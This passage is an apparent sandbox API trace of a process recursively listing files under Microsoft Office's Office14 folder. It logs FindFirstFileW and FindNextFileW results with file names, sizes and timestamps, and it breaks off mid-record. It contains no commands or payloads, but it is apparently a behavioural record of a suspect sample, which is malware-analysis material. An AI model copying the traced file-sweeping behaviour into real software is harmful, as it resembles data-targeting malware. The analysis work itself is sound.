ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="NAMECO~1.EXE")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="NL7DAT~1.DLL")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="NL7LEX~1.DLL")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="NL7MOD~3.DLL")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="NL7MOD~1.DLL")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="NL7MOD~2.DLL")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="NL7MOD~4.DLL")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0205.936] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRM.XML", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e85b00, ftCreationTime.dwHighDateTime=0x1c9e5a5, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e85b00, ftLastWriteTime.dwHighDateTime=0x1c9e5a5, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x10d980, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x59d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xc4390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x91390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0205.938] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee925900, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6beaa730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee925900, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdbd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0205.938] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 [0205.938] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0205.938] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0205.938] GetProcessHeap () returned 0x550000 [0205.938] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0205.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0205.941] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.941] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0205.941] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, 